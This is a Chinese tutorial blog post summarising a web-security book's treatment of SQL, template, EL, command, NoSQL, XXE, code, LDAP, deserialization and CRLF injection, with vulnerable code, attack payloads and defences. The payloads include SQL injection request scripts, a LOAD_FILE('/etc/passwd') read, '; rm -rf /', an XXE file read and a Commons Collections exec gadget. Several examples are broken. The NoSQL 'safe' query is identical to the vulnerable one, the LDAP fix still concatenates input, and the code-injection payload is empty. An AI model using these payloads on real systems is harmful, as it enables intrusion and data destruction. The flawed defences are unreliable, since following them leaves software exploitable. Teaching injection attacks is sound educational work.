《白帽子讲 Web 安全》注入攻击知识深度剖析(万字详细版)

目录

引言

一、SQL 注入基础概念

定义

原理

二、SQL 注入类型

1.Union 注入

2.堆叠注入

3.二次注入

4.盲注

5.宽字节注入

三、SQL 注入攻击技巧

1.常见攻击技巧

2.利用函数和系统存储过程

3.绕过防护机制

四、SQL 注入防御方法

1.使用预编译语句

2.存储过程

3.输入验证和过滤

4.最小权限原则

5.数据库配置优化

五、其他相关要点

1.批量赋值漏洞

2.不同数据库差异

六、其他注入攻击类型

1.模板注入

原理

示例

防御

2.表达式语言注入(EL 注入)

原理

示例

防御

3.命令注入

原理

示例

防御

4.NoSQL 注入

原理

示例

防御

5.XML 注入

原理

示例

防御

6.代码注入

原理

示例

防御

7.LDAP 注入

原理

示例

防御

8.反序列化注入

原理

示例

防御

9.CRLF 注入

原理

示例

防御

小结


引言

在互联网蓬勃发展的当下,Web 应用已经深度融入人们生活的各个方面。然而,随之而来的安全问题也愈发突出,注入攻击作为 Web 安全领域的一大 “顽疾”,给众多网站和应用带来了严重威胁。吴翰清在《白帽子讲 Web 安全》中,对注入攻击展开了全面且深入的讲解,从 SQL 注入到多种其他类型的注入攻击,详细阐述了其原理、攻击方式与防御策略。接下来,让我们系统梳理这些知识,助力读者提升对注入攻击的认知与应对能力。

一、SQL 注入基础概念

定义

SQL 注入指攻击者将恶意 SQL 语句插入到应用程序的输入参数中,致使应用程序在与数据库交互时执行非预期的 SQL 命令。借助这种手段,攻击者能够获取、修改或删除数据库中的数据,甚至实现对数据库服务器的控制,严重危及数据安全。

原理

当应用程序直接使用用户输入构造 SQL 查询语句,且未对输入进行有效验证和过滤时,就为 SQL 注入攻击埋下了隐患。攻击者可利用特殊字符和 SQL 语法,改变 SQL 语句的原有逻辑。以登录表单为例,下面是一段存在 SQL 注入漏洞的 PHP 代码:

<?php

$username = $_POST['username'];

$password = $_POST['password'];

$conn = mysqli_connect("localhost", "root", "", "testdb");

$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

$result = mysqli_query($conn, $sql);

if (mysqli_num_rows($result) > 0) {

echo "登录成功";

} else {

echo "登录失败";

}

mysqli_close($conn);

?>

攻击者在用户名输入框中输入 “admin' OR '1'='1”,密码随意输入,即可绕过身份验证机制。

二、SQL 注入类型

1.Union 注入

攻击者使用UNION关键字合并多个SELECT查询结果,借此获取额外的数据库信息。以 MySQL 数据库为例,以下代码模拟 Union 注入攻击场景:

import requests

url = "http://example.com/login"

data = {

"username": "admin' UNION SELECT version(), user()--",

"password": ""

}

response = requests.post(url, data=data)

print(response.text)

上述代码通过 Union 注入获取了数据库版本和当前用户信息。

2.堆叠注入

堆叠注入允许在 SQL 语句中执行多条命令,命令之间用分号分隔。在支持堆叠查询的数据库中,以 MySQL 为例,下面的 Python 代码模拟堆叠注入删除users表:

import mysql.connector

conn = mysql.connector.connect(

host="localhost",

user="root",

password="password",

database="testdb"

)

cursor = conn.cursor()

sql = "; DROP TABLE users;"

cursor.execute(sql)

conn.commit()

cursor.close()

conn.close()

3.二次注入

用户输入的数据先被存储在数据库中,当该数据被再次取出并用于构造 SQL 语句时,就可能引发二次注入。以下是一段存在二次注入漏洞的 PHP 代码:

<?php

$conn = mysqli_connect("localhost", "root", "", "testdb");

// 用户注册时输入恶意数据

$username = $_POST['username'];

$sql = "INSERT INTO users (username) VALUES ('$username')";

mysqli_query($conn, $sql);

// 后续操作中使用该数据进行查询

$fetch_sql = "SELECT * FROM users WHERE username = '$username'";

$result = mysqli_query($conn, $fetch_sql);

if (mysqli_num_rows($result) > 0) {

echo "查询成功";

}

mysqli_close($conn);

?>

若用户注册时在username中输入包含恶意 SQL 代码的内容,后续查询时就会触发二次注入。

4.盲注

  • 布尔型盲注:攻击者通过观察页面返回的结果,如页面是否正常显示、是否报错,来判断注入的 SQL 语句是否正确。以 Python 脚本模拟布尔型盲注过程:
    import requests
    
    url = "http://example.com/check.php"
    
    payload_true = "admin' AND 1=1--"
    
    payload_false = "admin' AND 1=2--"
    
    data_true = {
    
    "username": payload_true,
    
    "password": ""
    
    }
    
    data_false = {
    
    "username": payload_false,
    
    "password": ""
    
    }
    
    response_true = requests.post(url, data=data_true)
    
    response_false = requests.post(url, data=data_false)
    
    if "正常内容" in response_true.text and "正常内容" not in response_false.text:
    
    print("布尔型盲注成功判断")
  • 延时盲注:利用条件语句控制 SQL 语句的执行时间,根据页面响应时间判断注入结果。以 MySQL 为例,下面的 Python 代码模拟延时盲注:
    import requests
    
    import time
    
    url = "http://example.com/check.php"
    
    payload = "admin' AND IF(1=1, SLEEP(5), 1)--"
    
    data = {
    
    "username": payload,
    
    "password": ""
    
    }
    
    start_time = time.time()
    
    response = requests.post(url, data=data)
    
    end_time = time.time()
    
    if end_time - start_time >= 5:
    
    print("延时盲注成功判断")

5.宽字节注入

宽字节注入利用数据库字符编码的特性,绕过基于单字节字符的过滤机制。在 GBK 编码中,一个汉字占两个字节,以 PHP 代码为例展示宽字节注入:

<?php

$conn = mysqli_connect("localhost", "root", "", "testdb");

mysqli_set_charset($conn, "gbk");

$username = $_POST['username'];

// 简单过滤单引号

$username = addslashes($username);

$sql = "SELECT * FROM users WHERE username = '$username'";

$result = mysqli_query($conn, $sql);

if (mysqli_num_rows($result) > 0) {

echo "查询成功";

}

mysqli_close($conn);

?>

攻击者输入 “% df' OR '1'='1”,结合 GBK 编码特性可绕过过滤,实现 SQL 注入。

三、SQL 注入攻击技巧

1.常见攻击技巧

攻击者利用 SQL 语法特性,如使用注释符(--、#等)注释掉后面的 SQL 代码,改变语句执行逻辑;借助通配符(%)进行模糊查询攻击;通过ORDER BY判断数据库表中的列数,逐步获取数据库结构和数据信息。以下 Python 代码通过ORDER BY判断列数:

import requests

url = "http://example.com/query.php"

for i in range(1, 10):

payload = f"?order=1 ORDER BY {i}"

target_url = url + payload

response = requests.get(target_url)

if response.status_code == 200:

print(f"列数至少为{i}")

else:

break

2.利用函数和系统存储过程

不同数据库拥有各自的函数和存储过程,攻击者可利用它们获取敏感信息或执行系统命令。在 MySQL 中,攻击者可利用LOAD_FILE函数读取服务器文件;在 SQL Server 中,曾可利用xp_cmdshell存储过程执行系统命令(高版本中该存储过程默认禁用)。以下 Python 代码利用LOAD_FILE读取服务器文件:

import requests

url = "http://example.com/query.php"

payload = f"?data=1 UNION SELECT LOAD_FILE('/etc/passwd')"

target_url = url + payload

response = requests.get(target_url)

print(response.text)

3.绕过防护机制

面对 SQL 注入防护措施,如输入过滤,攻击者采用编码(如 URL 编码、十六进制编码)、双写关键字等方式绕过,以达到攻击目的。例如,将SELECT双写为SELSELECTECT绕过简单的关键字过滤。

四、SQL 注入防御方法

1.使用预编译语句

预编译语句将 SQL 语句的结构和参数分开处理,参数被视为普通数据,而非可执行的 SQL 代码。在 Java 中,使用PreparedStatement;在 PHP 中,利用 PDO(PHP Data Objects)的预编译功能,有效防止 SQL 注入。以下是 Java 使用PreparedStatement防御 SQL 注入的代码:

import java.sql.Connection;

import java.sql.DriverManager;

import java.sql.PreparedStatement;

import java.sql.ResultSet;

public class Login {

public static void main(String[] args) {

String username = "admin";

String password = "password";

try (Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/testdb", "root", "password");

PreparedStatement pstmt = conn.prepareStatement("SELECT * FROM users WHERE username =? AND password =?")) {

pstmt.setString(1, username);

pstmt.setString(2, password);

ResultSet rs = pstmt.executeQuery();

if (rs.next()) {

System.out.println("登录成功");

} else {

System.out.println("登录失败");

}

} catch (Exception e) {

e.printStackTrace();

}

}

}

2.存储过程

将 SQL 操作封装在存储过程中,应用程序调用存储过程时只需传入参数,避免直接拼接 SQL 语句。但需注意存储过程本身的安全性,防止在存储过程中出现 SQL 注入漏洞。以下是 MySQL 创建并调用存储过程的示例:

-- 创建存储过程

DELIMITER //

CREATE PROCEDURE LoginProc(IN user VARCHAR(50), IN pass VARCHAR(50))

BEGIN

SELECT * FROM users WHERE username = user AND password = pass;

END //

DELIMITER ;

-- 调用存储过程

CALL LoginProc('admin', 'password');

3.输入验证和过滤

对用户输入的数据进行严格验证,确保其符合预期的数据类型和格式。采用白名单机制,只允许特定的字符和格式通过;对特殊字符(如'、"、;、--等)进行转义或过滤。以下是 PHP 对用户输入进行过滤的示例:

<?php

$username = filter_input(INPUT_POST, 'username', FILTER_SANITIZE_STRING);

$password = filter_input(INPUT_POST, 'password', FILTER_SANITIZE_STRING);

// 后续数据库操作

?>

4.最小权限原则

为数据库账户分配最小的权限,避免使用具有过高权限的账户(如root、sa)与数据库连接。不同的应用模块使用不同的数据库账户,降低攻击造成的损失。在 MySQL 中,可以创建具有特定权限的用户:

CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'password';

GRANT SELECT, INSERT ON testdb.* TO 'app_user'@'localhost';

FLUSH PRIVILEGES;

5.数据库配置优化

关闭不必要的数据库功能和服务,如 MySQL 中的LOAD_FILE函数、SQL Server 中的xp_cmdshell存储过程等;及时更新数据库版本,修复已知的安全漏洞。在 MySQL 中,可以通过修改配置文件禁用LOAD_FILE函数。

五、其他相关要点

1.批量赋值漏洞

在使用框架或工具进行数据更新操作时,若对用户输入的参数处理不当,攻击者可通过批量赋值的方式修改多个字段的值,本质上也是一种注入攻击。以 Django 框架为例,以下代码存在批量赋值漏洞:

from django.http import HttpResponse

from django.shortcuts import render

from.models import User

def update_user(request):

    if request.method == 'POST':

        data = request.POST

        User.objects.filter(id=data['id']).update(**data)

        return HttpResponse("更新成功")
    
return render(request, 'update.html')

2.不同数据库差异

不同数据库(如 MySQL、Oracle、SQL Server 等)在语法、函数、存储过程、安全机制等方面存在差异,攻击者和防御者都需了解这些差异,以便更好地实施攻击或进行防御。例如,MySQL 和 Oracle 在日期函数的使用上存在明显差异。

六、其他注入攻击类型

1.模板注入

原理

当应用程序将用户输入的数据直接嵌入到模板引擎中进行解析和执行时,若未对输入进行安全处理,攻击者可注入恶意模板代码,改变页面的输出或执行任意命令。

示例

在使用 Twig 模板引擎的 PHP 应用中,以下代码存在模板注入漏洞:

require_once __DIR__.'/vendor/autoload.php';

$loader = new \Twig\Loader\FilesystemLoader(__DIR__.'/templates');

$twig = new \Twig\Environment($loader);

$user_input = $_GET['input'];

echo $twig->render('index.html', ['input' => $user_input]);

攻击者输入 “{{7*7}}”,若应用未做防护,服务器会执行该模板表达式并返回结果。

防御

对用户输入进行严格过滤和转义,避免直接将不可信数据插入模板;使用模板引擎的安全模式,限制模板中可执行的操作和函数;对模板变量进行明确的类型定义和范围检查。以下是对 Twig 模板引擎进行安全配置的示例:

$twig = new \Twig\Environment($loader, [

'sandbox' => true,

]);

2.表达式语言注入(EL 注入)

原理

许多 Web 应用框架使用表达式语言(如 Java 中的 EL、JSP 表达式语言等)来简化页面逻辑和数据展示。攻击者可利用应用对用户输入的表达式语言处理不当,注入恶意表达式,获取敏感信息或控制应用流程。

示例

在 Java Web 应用中,以下 JSP 代码存在 EL 注入漏洞:

<%@ page contentType="text/html; charset=UTF-8" %>

<% String input = request.getParameter("input"); %>

${input}

攻击者输入 “${pageContext.request.getSession ().getServletContext ().getRealPath ('/')}”,可获取服务器的文件系统路径。

防御

对用户输入进行严格验证,不允许包含表达式语言的特殊字符和语法;避免将用户输入直接用于表达式语言的计算,采用白名单机制限制可接受的输入。以下是对用户输入进行验证的 Java 代码:

import javax.servlet.ServletException;

import javax.servlet.annotation.WebServlet;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import java.io.IOException;

import java.util.regex.Pattern;

@WebServlet("/check")

public class ELInjectionCheck extends HttpServlet {

private static final Pattern INJECTION_PATTERN = Pattern.compile("\\$\\{.*?}");

@Override

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

String input = request.getParameter("input");

if (INJECTION_PATTERN.matcher(input).find()) {

response.getWriter().println("输入包含恶意表达式");

} else {

response.getWriter().println("输入合法");

}

}

}

3.命令注入

原理

应用程序在执行系统命令时,若将用户输入直接拼接到命令中,且未做安全处理,攻击者可注入额外的命令,让服务器执行非预期的操作,如读取、修改文件,执行系统命令等。

示例

在 PHP 应用中,以下代码存在命令注入漏洞:

<?php

$user_input = $_GET['input'];

system("ping -c 1 ". $user_input);

?>

攻击者输入 “; rm -rf /”,在原本的ping命令后注入删除根目录的危险命令。

防御

避免直接使用用户输入来构造系统命令;使用安全的函数和方法来执行命令,如在 PHP 中使用escapeshellcmd和escapeshellarg函数对输入进行转义和过滤;对执行命令的函数设置严格的权限和参数限制。以下是使用escapeshellarg防御命令注入的 PHP 代码:

<?php

$user_input = $_GET['input'];

system("ping -c 1 ". escapeshellarg($user_input));

?>

4.NoSQL 注入

原理

随着 NoSQL 数据库在大规模高并发应用中的广泛使用,若应用对用户输入处理不当,攻击者可利用 NoSQL 查询语法特点,注入恶意查询语句,改变查询逻辑,获取或篡改数据。

示例

以 MongoDB 为例,在处理用户登录请求的 Python 代码中,以下代码存在 NoSQL 注入漏洞:

from pymongo import MongoClient

client = MongoClient("mongodb://localhost:27017/")

db = client["testdb"]

users = db["users"]

username = input("请输入用户名:")

password = input("请输入密码:")

result = users.find_one({"username": username, "password": password})

if result:

    print("登录成功")

else:

    print("登录失败")

攻击者提交类似 “{"username": "admin", "password": {"$ne": 1}}” 的恶意 JSON 对象,可绕过正常的身份验证逻辑。

防御

使用参数化查询,避免直接拼接用户输入到查询语句中;对用户输入进行严格的类型检查和验证;最小化数据库账户权限。以下是使用参数化查询防御 NoSQL 注入的完整 Python 代码:

from pymongo import MongoClient

client = MongoClient("mongodb://localhost:27017/")

db = client["testdb"]

users = db["users"]

username = input("请输入用户名:")

password = input("请输入密码:")

result = users.find_one({"username": username, "password": password})

safe_result = users.find_one({

"username": username,

"password": password

})

if safe_result:

    print("登录成功")

else:

    print("登录失败")

5.XML 注入

原理

当应用程序解析 XML 数据时,若对用户提交的 XML 数据没有进行安全验证和过滤,攻击者可注入恶意的 XML 内容,如恶意的 DTD(文档类型定义)或 XML 实体,导致信息泄露、拒绝服务攻击或服务器端请求伪造(SSRF)等。

示例

在 Java 应用中,使用 DOM 解析 XML 时,以下代码存在 XML 注入漏洞:

import javax.xml.parsers.DocumentBuilder;

import javax.xml.parsers.DocumentBuilderFactory;

import org.w3c.dom.Document;

public class XMLInjection {

public static void main(String[] args) {

String xml = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" +

"<!DOCTYPE root [" +

"<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>" +

"<root>&xxe;</root>";

try {

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

DocumentBuilder builder = factory.newDocumentBuilder();

Document doc = builder.parse(new java.io.StringReader(xml));

} catch (Exception e) {

e.printStackTrace();

}

}

}

攻击者通过构造包含恶意 DTD 的 XML 数据,可读取服务器本地文件。

防御

禁用外部实体解析,限制 XML 解析器的功能;对输入的 XML 数据进行严格的验证和过滤,确保其符合预期的格式和内容。以下是禁用外部实体解析,防御 XML 注入的 Java 代码:

import javax.xml.parsers.DocumentBuilder;

import javax.xml.parsers.DocumentBuilderFactory;

import org.w3c.dom.Document;

public class SecureXMLParsing {

public static void main(String[] args) {

String xml = "<root>正常数据</root>";

try {

DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();

factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

DocumentBuilder builder = factory.newDocumentBuilder();

Document doc = builder.parse(new java.io.StringReader(xml));

} catch (Exception e) {

e.printStackTrace();

}

}

}

6.代码注入

原理

攻击者通过各种手段将恶意代码注入到应用程序的执行环境中,使代码在服务器端执行,从而获取敏感信息或控制服务器。常见于解释型语言环境,如 PHP、Python 等。

示例

在 PHP 应用中,若使用eval函数对用户输入的字符串进行执行,以下代码存在代码注入漏洞:

<?php

$user_input = $_GET['input'];

eval("echo $user_input;");

?>

攻击者输入 “”,可在服务器上执行系统命令。

防御

避免使用可执行用户输入代码的函数;对用户输入进行严格的过滤和验证,不允许包含可执行代码的字符和语法;采用安全的编码实践,如使用安全的函数库和框架。以下是采用正则表达式过滤,防御代码注入的 PHP 代码:

<?php

$user_input = $_GET['input'];

if (!preg_match('/<\?php|system|exec|passthru|shell_exec/', $user_input)) {

echo $user_input;

} else {

echo "输入包含恶意代码";

}

?>

7.LDAP 注入

原理

轻量级目录访问协议(LDAP)用于访问和维护分布式目录信息服务。当应用程序使用用户输入构造 LDAP 查询语句时,若未进行安全处理,攻击者可注入恶意的 LDAP 查询条件,绕过身份验证或获取敏感信息。

示例

在 Java 应用中,使用 JNDI 进行 LDAP 查询时,以下代码存在 LDAP 注入漏洞:

import javax.naming.Context;

import javax.naming.NamingException;

import javax.naming.directory.DirContext;

import javax.naming.directory.InitialDirContext;

import java.util.Hashtable;

public class LDAPInjection {

public static void main(String[] args) {

String username = "admin';(&(objectClass=*))";

String password = "password";

Hashtable<String, String> env = new Hashtable<>();

env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");

env.put(Context.PROVIDER_URL, "ldap://localhost:389/dc=example,dc=com");

env.put(Context.SECURITY_AUTHENTICATION, "simple");

env.put(Context.SECURITY_PRINCIPAL, "cn=" + username + ",dc=example,dc=com");

env.put(Context.SECURITY_CREDENTIALS, password);

try {

DirContext ctx = new InitialDirContext(env);

ctx.close();

} catch (NamingException e) {

e.printStackTrace();

}

}

}

攻击者通过注入特殊字符,修改查询条件,获取未授权的访问权限。

防御

使用参数化的 LDAP 查询,避免直接拼接用户输入;对用户输入进行严格的过滤和验证,限制特殊字符的使用;遵循 LDAP 安全最佳实践。以下是使用DirContext的search方法进行参数化查询,防御 LDAP 注入的 Java 代码:

import javax.naming.Context;

import javax.naming.NamingException;

import javax.naming.directory.*;

import java.util.Hashtable;

public class SecureLDAPQuery {

public static void main(String[] args) {

String username = "admin";

String password = "password";

Hashtable<String, String> env = new Hashtable<>();

env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");

env.put(Context.PROVIDER_URL, "ldap://localhost:389/dc=example,dc=com");

env.put(Context.SECURITY_AUTHENTICATION, "simple");

env.put(Context.SECURITY_PRINCIPAL, "cn=" + username + ",dc=example,dc=com");

env.put(Context.SECURITY_CREDENTIALS, password);

try {

DirContext ctx = new InitialDirContext(env);

SearchControls controls = new SearchControls();

controls.setSearchScope(SearchControls.SUBTREE_SCOPE);

ctx.search("dc=example,dc=com", "cn=" + username, controls);

ctx.close();

} catch (NamingException e) {

e.printStackTrace();

}

}

}

8.反序列化注入

原理

在 Java、PHP 等语言中,当应用程序对用户输入的序列化数据进行反序列化操作时,若未对数据来源和内容进行安全检查,攻击者可构造恶意的序列化数据,在反序列化过程中执行任意代码。

示例

在 Java 中,利用 Commons Collections 库的反序列化漏洞,以下代码存在反序列化注入风险:

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

import java.io.*;

import java.util.HashMap;

import java.util.Map;

public class DeserializationInjection {

public static void main(String[] args) throws Exception {

Map<String, String> map = new HashMap<>();

map.put("key", "value");

InvokerTransformer transformer = new InvokerTransformer(

"exec",

new Class[]{String.class},

new Object[]{"calc.exe"}

);

Map maliciousMap = TransformedMap.decorate(map, null, transformer);

ByteArrayOutputStream bos = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(bos);

oos.writeObject(maliciousMap);

oos.close();

ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());

ObjectInputStream ois = new ObjectInputStream(bis);

ois.readObject();

ois.close();

}

}

攻击者通过构造恶意序列化对象,在反序列化时执行系统命令。

防御

对反序列化的数据来源进行严格验证,只接受可信来源的数据;避免在反序列化过程中执行用户可控的代码;更新和修复相关框架和库的漏洞。以下是对输入流进行验证,防御反序列化注入的 Java 代码:

import java.io.*;

public class SecureDeserialization {

public static void main(String[] args) {

try {

FileInputStream fis = new FileInputStream("trusted.ser");

ObjectInputStream ois = new ObjectInputStream(fis) {

@Override

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {

if (!desc.getName().startsWith("com.example.trusted")) {

throw new InvalidClassException("Invalid class: " + desc.getName());

}

return super.resolveClass(desc);

}

};

Object obj = ois.readObject();

ois.close();

} catch (Exception e) {

e.printStackTrace();

}

}

}

9.CRLF 注入

原理

通过在 HTTP 请求或响应中注入回车(Carriage Return,CR)和换行(Line Feed,LF)字符,攻击者可篡改 HTTP 头信息,实现 Cookie 篡改、缓存投毒、页面重定向等攻击。

示例

在 Java Web 应用中,以下 Servlet 代码存在 CRLF 注入漏洞:

import javax.servlet.ServletException;

import javax.servlet.annotation.WebServlet;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import java.io.IOException;

@WebServlet("/vulnerable")

public class CRLFInjectionServlet extends HttpServlet {

@Override

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

String input = request.getParameter("input");

response.setHeader("Custom-Header", input);

response.getWriter().println("Header set successfully");

}

}

攻击者输入 “%0D%0ASet-Cookie: malicious=value”,可篡改 Cookie 信息。

防御

对用户输入进行严格过滤,禁止包含 CRLF 字符;对 HTTP 头信息进行安全验证和处理,防止被非法篡改。以下是过滤 CRLF 字符,防御 CRLF 注入的 Java 代码:

import javax.servlet.ServletException;

import javax.servlet.annotation.WebServlet;

import javax.servlet.http.HttpServlet;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

import java.io.IOException;

import java.util.regex.Pattern;

@WebServlet("/secure")

public class SecureServlet extends HttpServlet {

private static final Pattern CRLF_PATTERN = Pattern.compile("[\r\n]");

@Override

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {

String input = request.getParameter("input");

if (CRLF_PATTERN.matcher(input).find()) {

response.getWriter().println("输入包含非法字符");

} else {

response.setHeader("Custom-Header", input);

response.getWriter().println("Header set successfully");

}

}

}

小结

注入攻击形式多样且危害极大,严重威胁着 Web 应用和数据的安全。从传统的 SQL 注入到多种新型注入攻击,攻击者不断寻找应用程序的漏洞,试图窃取数据、破坏系统。防御注入攻击,需要开发者和安全运维人员从多个层面入手,不仅要采用安全的编码实践,如使用预编译语句、进行严格的输入验证,还要对服务器和数据库进行合理配置,遵循最小权限原则,及时更新软件版本。同时,随着技术的发展,注入攻击的手段也在不断演变,我们必须持续关注安全领域的最新动态,不断学习和掌握新的防御技术,提升安全意识,构建全方位的安全防护体系,以应对日益复杂的网络安全挑战,守护 Web 应用和数据的安全 。

喜欢就点点赞和评论关注一起进步吧

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值